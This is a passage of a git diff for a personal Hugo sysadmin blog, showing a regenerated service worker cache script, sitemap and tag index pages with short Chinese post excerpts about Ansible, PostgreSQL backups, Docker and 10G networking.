'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML', + 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js?V=2.7.5', +]; + +// Cache the application assets +self.addEventListener('install', event => { + event.waitUntil(caches.open(cacheName).then(cache => cache.addAll(filesToCache))); +}); + +// network first +self.addEventListener('fetch', event => { + event.respondWith( + caches.open(cacheName).then(function(cache) { + return fetch(event.request) + .then(function(response) { + if (response.status === 404) return caches.match('404.html'); + cache.put(event.request, response.clone()); + return response; + }) + .catch(function() { + return caches.match(event.request); + }); + }), + ); +}); + +// cache-first +// If you want to use cache first, you should change cacheName manually + +// self.addEventListener('fetch', event => { +// event.respondWith( +// caches +// .match(event.request) +// .then(response => { +// if (response) return response; +// return fetch(event.request); +// }) +// .then(response => { +// if (response.status === 404) return caches.match('404.html'); +// return caches.open(cacheName).then(cache => { +// cache.put(event.request.url, response.clone()); +// return response; +// }); +// }) +// .catch(error => console.log('Error, ', error)), +// ); +// }); + +// Delete outdated caches +self.addEventListener('activate', event => { + const cacheWhitelist = [cacheName]; + event.waitUntil( + caches.keys().then(cacheNames => { + return Promise.all( + cacheNames.map(cacheName => { + if (cacheWhitelist.indexOf(cacheName) === -1) { + return caches.delete(cacheName); + } + }), + ); + }), + ); +}); diff --git a/public/sitemap.xml b/public/sitemap.xml index 4044a427..e4a5f5e7 100644 --- a/public/sitemap.xml +++ b/public/sitemap.xml @@ -1,21 +1,505 @@ - - - - https://h.cowbay.org/en/sitemap.xml - - - - - https://h.cowbay.org/de/sitemap.xml - - - - - https://h.cowbay.org/tw/sitemap.xml - - 2019-10-04T14:12:15+08:00 - - - - + + + + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/categories/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/post/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/tags/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/tags/vpn/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/tags/wireguard/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ + 2019-10-14T13:59:58+08:00 + + + + https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ + 2019-10-04T14:12:15+08:00 + + + + https://h.cowbay.org/tags/launcher/ + 2019-10-04T14:12:15+08:00 + + + + https://h.cowbay.org/post/pg_auto_failover_in_ubuntu_1804_psql_11/ + 2019-09-20T10:17:17+08:00 + + + + https://h.cowbay.org/tags/failover/ + 2019-09-20T10:17:17+08:00 + + + + https://h.cowbay.org/tags/postgresql/ + 2019-09-20T10:17:17+08:00 + + + + https://h.cowbay.org/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd/ + 2019-09-10T14:37:09+08:00 + + + + https://h.cowbay.org/tags/benchmark/ + 2019-09-10T14:37:09+08:00 + + + + https://h.cowbay.org/tags/nvme/ + 2019-09-10T14:37:09+08:00 + + + + https://h.cowbay.org/post/postgresql-backup-restore-using-zfs-snapshot/ + 2019-09-06T10:42:11+08:00 + + + + https://h.cowbay.org/tags/backup/ + 2019-09-06T10:42:11+08:00 + + + + https://h.cowbay.org/tags/restore/ + 2019-09-06T10:42:11+08:00 + + + + https://h.cowbay.org/tags/zfs/ + 2019-09-06T10:42:11+08:00 + + + + https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ + 2019-09-05T11:42:28+08:00 + + + + https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ + 2019-08-23T14:54:13+08:00 + + + + https://h.cowbay.org/tags/pgbarman/ + 2019-08-23T14:54:13+08:00 + + + + https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10/ + 2019-08-23T13:53:40+08:00 + + + + https://h.cowbay.org/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804/ + 2019-08-20T14:51:54+08:00 + + + + https://h.cowbay.org/tags/nvidia/ + 2019-08-20T14:51:54+08:00 + + + + https://h.cowbay.org/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/ + 2019-08-16T10:18:06+08:00 + + + + https://h.cowbay.org/post/multiple-site-to-site-vpn-using-wireguard/ + 2019-08-13T15:50:31+08:00 + + + + https://h.cowbay.org/tags/ubuntu/ + 2019-08-13T15:50:31+08:00 + + + + https://h.cowbay.org/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/ + 2019-08-06T17:14:17+08:00 + + + + https://h.cowbay.org/tags/edgerouter/ + 2019-08-06T17:14:17+08:00 + + + + https://h.cowbay.org/post/another-way-to-keep-ansible-log/ + 2019-08-05T16:24:40+08:00 + + + + https://h.cowbay.org/categories/ansible/ + 2019-08-05T16:24:40+08:00 + + + + https://h.cowbay.org/tags/ansible/ + 2019-08-05T16:24:40+08:00 + + + + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + 2019-07-31T11:06:33+08:00 + + + + https://h.cowbay.org/tags/linux/ + 2019-07-31T11:06:33+08:00 + + + + https://h.cowbay.org/tags/pxe/ + 2019-07-31T11:06:33+08:00 + + + + https://h.cowbay.org/post/ansible-run-task-depends-on-ipaddr/ + 2019-07-23T15:06:37+08:00 + + + + https://h.cowbay.org/post/ansible-selectattr-from-list-in-dictionary/ + 2019-07-01T09:06:12+08:00 + + + + https://h.cowbay.org/post/remote-management-system-meshcentral/ + 2019-06-20T11:03:12+08:00 + + + + https://h.cowbay.org/tags/meshcentral/ + 2019-06-20T11:03:12+08:00 + + + + https://h.cowbay.org/tags/remote/ + 2019-06-20T11:03:12+08:00 + + + + https://h.cowbay.org/post/install-asus-10g-nic-in-proxmox/ + 2019-06-17T13:20:57+08:00 + + + + https://h.cowbay.org/categories/proxmox/ + 2019-06-17T13:20:57+08:00 + + + + https://h.cowbay.org/tags/proxmox/ + 2019-06-17T13:20:57+08:00 + + + + https://h.cowbay.org/post/change-timezone-in-docker/ + 2019-05-21T17:25:15+08:00 + + + + https://h.cowbay.org/tags/docker/ + 2019-05-21T17:25:15+08:00 + + + + https://h.cowbay.org/tags/timezone/ + 2019-05-21T17:25:15+08:00 + + + + https://h.cowbay.org/categories/linux/ + 2019-05-17T12:18:54+08:00 + + + + https://h.cowbay.org/post/transfer-file-content-using-xclip-in-terminal/ + 2019-05-17T12:18:54+08:00 + + + + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + 2019-04-23T15:28:56+08:00 + + + + https://h.cowbay.org/tags/bsd/ + 2019-04-23T15:28:56+08:00 + + + + https://h.cowbay.org/tags/inventory/ + 2019-04-23T15:28:56+08:00 + + + + https://h.cowbay.org/post/log-all-bash-commands/ + 2019-04-23T15:08:36+08:00 + + + + https://h.cowbay.org/tags/log/ + 2019-04-23T15:08:36+08:00 + + + + https://h.cowbay.org/post/fix-zpool-device-busy-using-dmsetup/ + 2019-04-01T15:56:27+08:00 + + + + https://h.cowbay.org/post/transfer-cent62-using-rsync/ + 2019-03-27T17:44:49+08:00 + + + + https://h.cowbay.org/tags/centos/ + 2019-03-27T17:44:49+08:00 + + + + https://h.cowbay.org/post/command_to_test_main_ssl/ + 2019-03-20T11:42:47+08:00 + + + + https://h.cowbay.org/post/install-timeshift-on-ubuntu1804/ + 2019-03-11T14:02:30+08:00 + + + + https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ + 2019-01-16T16:17:05+08:00 + + + + https://h.cowbay.org/tags/raid/ + 2019-01-16T09:58:50+08:00 + + + + https://h.cowbay.org/post/ubuntu-1804-install-root-on-raid/ + 2019-01-16T09:58:50+08:00 + + + + https://h.cowbay.org/post/smartd-failed-to-start-in-freenas/ + 2018-12-13T17:40:20+08:00 + + + + https://h.cowbay.org/tags/freenas/ + 2018-12-13T17:40:20+08:00 + + + + https://h.cowbay.org/post/incredibly-slow-mdadm-rebuild/ + 2018-12-12T11:10:22+08:00 + + + + https://h.cowbay.org/tags/mdadm/ + 2018-12-12T11:10:22+08:00 + + + + https://h.cowbay.org/categories/%E7%A2%8E%E5%BF%B5/ + 2018-12-12T11:10:22+08:00 + + + + https://h.cowbay.org/post/create-portable-vim-environment/ + 2018-12-07T15:19:47+08:00 + + + + https://h.cowbay.org/tags/vim/ + 2018-12-07T15:19:47+08:00 + + + + https://h.cowbay.org/post/synology-ds415-repair-cost/ + 2018-12-04T10:25:19+08:00 + + + + https://h.cowbay.org/tags/nas/ + 2018-12-04T10:25:19+08:00 + + + + https://h.cowbay.org/tags/synology/ + 2018-12-04T10:25:19+08:00 + + + + https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ + 2018-12-04T10:25:19+08:00 + + + + https://h.cowbay.org/categories/%E7%BE%A4%E6%9A%89/ + 2018-12-04T10:25:19+08:00 + + + + https://h.cowbay.org/tags/10g/ + 2018-11-30T16:05:14+08:00 + + + + https://h.cowbay.org/post/10g-lab-using-proxmox-and-mellanox/ + 2018-11-30T16:05:14+08:00 + + + + https://h.cowbay.org/tags/mellanox/ + 2018-11-30T16:05:14+08:00 + + + + https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ + 2018-11-30T16:05:14+08:00 + + + + https://h.cowbay.org/post/ansible-selectattr-filter/ + 2018-11-29T11:22:28+08:00 + + + + https://h.cowbay.org/post/ansible-selectattr/ + 2018-11-27T16:50:53+08:00 + + + + https://h.cowbay.org/post/change-preferred-language-in-firefox/ + 2018-11-15T11:06:28+08:00 + + + + https://h.cowbay.org/tags/firefox/ + 2018-11-15T11:06:28+08:00 + + + + https://h.cowbay.org/tags/metabase/ + 2018-11-15T11:06:28+08:00 + + + + https://h.cowbay.org/post/copy_role_in_pgsql/ + 2018-11-12T09:48:12+08:00 + + + + https://h.cowbay.org/tags/psql/ + 2018-11-12T09:48:12+08:00 + + + + https://h.cowbay.org/post/weird-client-server-connection/ + 2018-11-08T18:01:23+08:00 + + + + https://h.cowbay.org/tags/du/ + 2018-11-06T15:24:29+08:00 + + + + https://h.cowbay.org/post/nice-du-report-tool-durep/ + 2018-11-06T15:24:29+08:00 + + + + https://h.cowbay.org/tags/bookstack/ + 2018-11-06T14:57:14+08:00 + + + + https://h.cowbay.org/post/bookstack-docker/ + 2018-11-06T14:57:14+08:00 + + + + https://h.cowbay.org/tags/ssh/ + 2018-11-05T14:16:54+08:00 + + + + https://h.cowbay.org/post/enable-synology-public-ssh/ + 2018-11-05T14:16:54+08:00 + + + + https://h.cowbay.org/gallery/ + 2018-11-05T07:46:53+08:00 + + + + https://h.cowbay.org/categories/ps/ + 2018-11-05T07:46:53+08:00 + + + + https://h.cowbay.org/tags/ps/ + 2018-11-05T07:46:53+08:00 + + + + https://h.cowbay.org/gallery/sammy93/ + 2018-11-05T07:46:53+08:00 + + + + https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ + 2018-11-05T07:46:53+08:00 + + + + https://h.cowbay.org/contact/ + 2016-11-06T13:00:25+05:30 + + + + https://h.cowbay.org/about/ + 2016-11-05T21:05:33+05:30 + + + \ No newline at end of file diff --git a/public/tags/10g/index.html b/public/tags/10g/index.html index 24654a52..bf2af9d0 100644 --- a/public/tags/10g/index.html +++ b/public/tags/10g/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - 10g | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + 10G + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: 10G + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 30 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    想做一個 10G 的 LAB 環境出來已經很久了。

    只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜

    @@ -149,267 +339,147 @@

    今天就花了點時間測試一下

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + + + + - - + diff --git a/public/tags/10g/index.xml b/public/tags/10g/index.xml index fad264e6..129ed8e0 100644 --- a/public/tags/10g/index.xml +++ b/public/tags/10g/index.xml @@ -1,10 +1,11 @@ - 10g on MCの飄狂山莊㊣ + 10G on MC部落 https://h.cowbay.org/tags/10g/ - Recent content in 10g on MCの飄狂山莊㊣ + Recent content in 10G on MC部落 Hugo -- gohugo.io + en-us Fri, 30 Nov 2018 16:05:14 +0800 @@ -32,9 +33,7 @@ <p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> -<p>今天就花了點時間測試一下</p> - -<p></p> +<p>今天就花了點時間測試一下</p> diff --git a/public/tags/10g/page/1/index.xml/index.html b/public/tags/10g/page/1/index.xml/index.html new file mode 100644 index 00000000..9695a990 --- /dev/null +++ b/public/tags/10g/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/10g/ \ No newline at end of file diff --git a/public/tags/ansible/index.html b/public/tags/ansible/index.html index c00a5ba4..5d31f4c8 100644 --- a/public/tags/ansible/index.html +++ b/public/tags/ansible/index.html @@ -1,452 +1,536 @@ - - - - - - - - - - - Ansible | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + - - - - - - - - - + ansible - - - - - - - - - - + + + + -
    -
    - -
    -

    MCの飄狂山莊㊣

    - - What’s the Worst That Could Happen? - -
    + - + + + - -
    - - -
    -
    -
    + + -
    - - - -
    - - - - + + -
    - - + + + +
    + Skip to content +
    - - -
    +
  • + +
  • -
    - - - - -
    - - - -
    -

    [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr

    -
    - - - 2019-07-23 - - - - - - - - - ansible - - - - - - Eric Chang - -
    - +
  • + + + instagram + +
  • -

    因為工作上的需要,要修改client端的 /etc/environment 檔案

    - -

    在有權限使用proxy 服務的user的環境中,加入proxy 的設定

    - -

    原本的清單中,有host/user/ip 這幾個值可以拿來判斷

    - -

    proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment

    - - - -
    - +
  • + +
  • - - -
    - - -
    - -
    - - - - - -
    +
  • + + + stackoverflow + +
  • - -
    -

    [ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file

    -
    - - - 2019-07-01 - - - - - - - - - Ansible - - - - - - Eric Chang - -
    - -

    在ansible中,關於如何引用自定義的變數,一直讓我很頭疼

    - -

    尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數

    - -

    這次還是用selectattr 來處理,希望下次能夠記得…

    +
  • + + + github + +
  • + -

    - - - -
    - +
  • + + + pinterest + +
  • - -
    +
    -
    - -
    - - - - -
    -

    +
    - - - - +
    +

    + Tag: ansible + + + + rss + + +

    - - + + + +
    + + + + + + + + +
    +
    + 29 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 27 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    + +
    +
    +
    + +
    - - - - - + + + + + + - - + diff --git a/public/tags/ansible/index.xml b/public/tags/ansible/index.xml index 8c161c46..74da7c6f 100644 --- a/public/tags/ansible/index.xml +++ b/public/tags/ansible/index.xml @@ -1,10 +1,11 @@ - Ansible on MCの飄狂山莊㊣ + ansible on MC部落 https://h.cowbay.org/tags/ansible/ - Recent content in Ansible on MCの飄狂山莊㊣ + Recent content in ansible on MC部落 Hugo -- gohugo.io + en-us Mon, 05 Aug 2019 16:24:40 +0800 @@ -27,9 +28,7 @@ <p>一直都是放在crontab 裡面執行,也就沒有去管他</p> -<p>反正也沒有人關心結果怎樣 (攤手</p> - -<p></p> +<p>反正也沒有人關心結果怎樣 (攤手</p> @@ -57,9 +56,7 @@ <p>尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數</p> -<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> - -<p></p> +<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> @@ -72,9 +69,7 @@ <p>有提到怎麼用 with_items / set_fact 來取得在yaml 檔案中的清單</p> -<p>不過就是有點醜</p> - -<p></p> +<p>不過就是有點醜</p> @@ -126,9 +121,7 @@ } ] -</code></pre> - -<p></p> +</code></pre> diff --git a/themes/public/tags/ansible/page/1/index.html b/public/tags/ansible/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/ansible/page/1/index.html rename to public/tags/ansible/page/1/index.xml/index.html diff --git a/public/tags/backup/index.html b/public/tags/backup/index.html index 789bccdc..e6be1124 100644 --- a/public/tags/backup/index.html +++ b/public/tags/backup/index.html @@ -1,486 +1,525 @@ - - - - - - - - - - - Backup | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + backup + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    - - -
    - - - - -
    + +
    + +
    +

    + Tag: backup + + + + rss + + +

    +
    -

    可以很簡單快速的備份、恢復系統狀態

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 06 September 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    前面測試了用pgbarman / pgbackrest 來備份 postgresql

    -

    可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

    +

    這次改從system file level 來下手

    -

    +

    採用zfs 的快照來備份、還原postgresql 資料庫

    - - - - -
    + + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 11 March 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

    - - + +
    +
    +
    +
    + +
    - + - - + + + + + - - + diff --git a/public/tags/backup/index.xml b/public/tags/backup/index.xml index 2a6d66e6..663425bd 100644 --- a/public/tags/backup/index.xml +++ b/public/tags/backup/index.xml @@ -1,10 +1,11 @@ - Backup on MCの飄狂山莊㊣ + backup on MC部落 https://h.cowbay.org/tags/backup/ - Recent content in Backup on MCの飄狂山莊㊣ + Recent content in backup on MC部落 Hugo -- gohugo.io + en-us Fri, 06 Sep 2019 10:42:11 +0800 @@ -20,9 +21,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> @@ -37,9 +36,7 @@ <p>可以很簡單快速的備份、恢復系統狀態</p> -<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> - -<p></p> +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> diff --git a/public/tags/backup/page/1/index.xml/index.html b/public/tags/backup/page/1/index.xml/index.html new file mode 100644 index 00000000..d3bb051b --- /dev/null +++ b/public/tags/backup/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/backup/ \ No newline at end of file diff --git a/public/tags/benchmark/index.html b/public/tags/benchmark/index.html index aed00eda..2633c4a1 100644 --- a/public/tags/benchmark/index.html +++ b/public/tags/benchmark/index.html @@ -1,399 +1,471 @@ - - - - - - - - - - - Benchmark | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + benchmark + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - +
    + -
    + +
    + +
    +

    + Tag: benchmark + + + + rss + + +

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 10 September 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 +手邊也剛好有一條多的intel 600p nvme ssd 就順手來做個比較 +目標是看看有沒有可能直接用外接的SSD來跑postgresql

    + + +
    +
    +
    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + +

    What’s the Worst That Could Happen?

    + + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + + + + - - + diff --git a/public/tags/benchmark/index.xml b/public/tags/benchmark/index.xml index 64f72197..7140f881 100644 --- a/public/tags/benchmark/index.xml +++ b/public/tags/benchmark/index.xml @@ -1,10 +1,11 @@ - Benchmark on MCの飄狂山莊㊣ + benchmark on MC部落 https://h.cowbay.org/tags/benchmark/ - Recent content in Benchmark on MCの飄狂山莊㊣ + Recent content in benchmark on MC部落 Hugo -- gohugo.io + en-us Tue, 10 Sep 2019 14:37:09 +0800 diff --git a/public/tags/benchmark/page/1/index.xml/index.html b/public/tags/benchmark/page/1/index.xml/index.html new file mode 100644 index 00000000..5bf27be2 --- /dev/null +++ b/public/tags/benchmark/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/benchmark/ \ No newline at end of file diff --git a/public/tags/bookstack/index.html b/public/tags/bookstack/index.html index cbd2e1a1..60e40eaf 100644 --- a/public/tags/bookstack/index.html +++ b/public/tags/bookstack/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Bookstack | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + Bookstack + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: Bookstack + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 06 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    Bookstack 是一套非常好用的線上”筆記”系統

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    @@ -149,265 +339,147 @@

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + + + + - - + diff --git a/public/tags/bookstack/index.xml b/public/tags/bookstack/index.xml index 6bd6e02c..f186af9c 100644 --- a/public/tags/bookstack/index.xml +++ b/public/tags/bookstack/index.xml @@ -1,10 +1,11 @@ - Bookstack on MCの飄狂山莊㊣ + Bookstack on MC部落 https://h.cowbay.org/tags/bookstack/ - Recent content in Bookstack on MCの飄狂山莊㊣ + Recent content in Bookstack on MC部落 Hugo -- gohugo.io + en-us Tue, 06 Nov 2018 14:57:14 +0800 @@ -32,9 +33,7 @@ <p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> +<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> diff --git a/themes/public/tags/bookstack/page/1/index.html b/public/tags/bookstack/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/bookstack/page/1/index.html rename to public/tags/bookstack/page/1/index.xml/index.html diff --git a/public/tags/bsd/index.html b/public/tags/bsd/index.html index ee1cb13e..8d606dbc 100644 --- a/public/tags/bsd/index.html +++ b/public/tags/bsd/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Bsd | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + bsd + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: bsd + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 23 April 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

    然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

    @@ -141,267 +331,147 @@

    然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/bsd/index.xml b/public/tags/bsd/index.xml index f4b836fe..c5231040 100644 --- a/public/tags/bsd/index.xml +++ b/public/tags/bsd/index.xml @@ -1,10 +1,11 @@ - Bsd on MCの飄狂山莊㊣ + bsd on MC部落 https://h.cowbay.org/tags/bsd/ - Recent content in Bsd on MCの飄狂山莊㊣ + Recent content in bsd on MC部落 Hugo -- gohugo.io + en-us Tue, 23 Apr 2019 15:28:56 +0800 @@ -24,9 +25,7 @@ <p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> -<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> - -<p></p> +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> diff --git a/public/tags/bsd/page/1/index.xml/index.html b/public/tags/bsd/page/1/index.xml/index.html new file mode 100644 index 00000000..ba0c6fd7 --- /dev/null +++ b/public/tags/bsd/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/bsd/ \ No newline at end of file diff --git a/public/tags/centos/index.html b/public/tags/centos/index.html index bebda5b4..3e7828e4 100644 --- a/public/tags/centos/index.html +++ b/public/tags/centos/index.html @@ -1,398 +1,471 @@ - - - - - - - - - - - Centos | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + centos + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: centos + + + + rss + + +

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 27 March 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。

    + +

    看起來不難搞,事實上…..

    + + +
    +
    +
    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + +
    + + + - - + diff --git a/public/tags/centos/index.xml b/public/tags/centos/index.xml index 0f39607b..81f6bd89 100644 --- a/public/tags/centos/index.xml +++ b/public/tags/centos/index.xml @@ -1,10 +1,11 @@ - Centos on MCの飄狂山莊㊣ + centos on MC部落 https://h.cowbay.org/tags/centos/ - Recent content in Centos on MCの飄狂山莊㊣ + Recent content in centos on MC部落 Hugo -- gohugo.io + en-us Wed, 27 Mar 2019 17:44:49 +0800 @@ -18,8 +19,7 @@ https://h.cowbay.org/post/transfer-cent62-using-rsync/ <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> -<p>看起來不難搞,事實上&hellip;.. -</p> +<p>看起來不難搞,事實上&hellip;..</p> diff --git a/themes/public/tags/centos/page/1/index.html b/public/tags/centos/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/centos/page/1/index.html rename to public/tags/centos/page/1/index.xml/index.html diff --git a/public/tags/docker/index.html b/public/tags/docker/index.html index 049554f1..372bef11 100644 --- a/public/tags/docker/index.html +++ b/public/tags/docker/index.html @@ -1,212 +1,375 @@ - - - - - - - - - - - Docker | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + docker + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - -
    - - - - -
    + +
    + +
    +

    + Tag: docker + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 21 May 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致

    + +

    有的用 UTC,有的用localtime,就是沒碰到用 Asia/Taipei 的….

    + + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 06 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    Bookstack 是一套非常好用的線上”筆記”系統

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    @@ -224,265 +387,147 @@

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    -

    + +
    +
    +
    +
    + +
    - - - - -
